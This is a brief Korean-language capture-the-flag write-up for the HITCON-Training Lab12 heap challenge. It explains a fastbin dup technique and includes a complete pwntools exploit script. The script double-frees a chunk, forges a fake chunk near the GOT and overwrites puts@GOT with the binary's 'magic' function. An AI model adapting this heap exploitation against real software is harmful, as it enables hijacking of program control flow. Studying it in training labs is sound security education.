[HITCON-Training]Lab12
fastbin dup문제다.
puts@got의 주소보다 낮은 0x601ffa
에 사이즈가 0x60되게 할 수 있는 fake chunk를 만들 수 있다. 그러면 데이터가 쓰여지는 영역은 0x60200a
이고 이후 puts@got overwrite해주면 된다. 할당해주는 사이즈는 헤더를 제외한 0x50만큼만 해주면 된다.
exploit.py
from pwn import *
context.log_level = 'debug'
e = ELF('./secretgarden')
p = process('./secretgarden')
sla = lambda x,y : p.sendlineafter(x,y)
sa = lambda x,y : p.sendafter(x,y)
def add(size,name,color):
sla(':','1')
sla(':',str(size))
sa(':',name)
sla(':',color)
def visit():
sla(':','2')
def remove(idx):
sla(':','3')
sla(':',str(idx))
def clean():
sla(':','4')
def leave():
sla(':','5')
add(0x50,'a','a')
add(0x50,'b','b')
remove(0)
remove(1)
remove(0)
add(0x50,p64(0x601ffa),'c') # fake chunk
add(0x50,'e','e')
add(0x50,'f','f')
add(0x50,'A'*22 + p64(e.symbols['magic']),'B') # puts@got
p.interactive()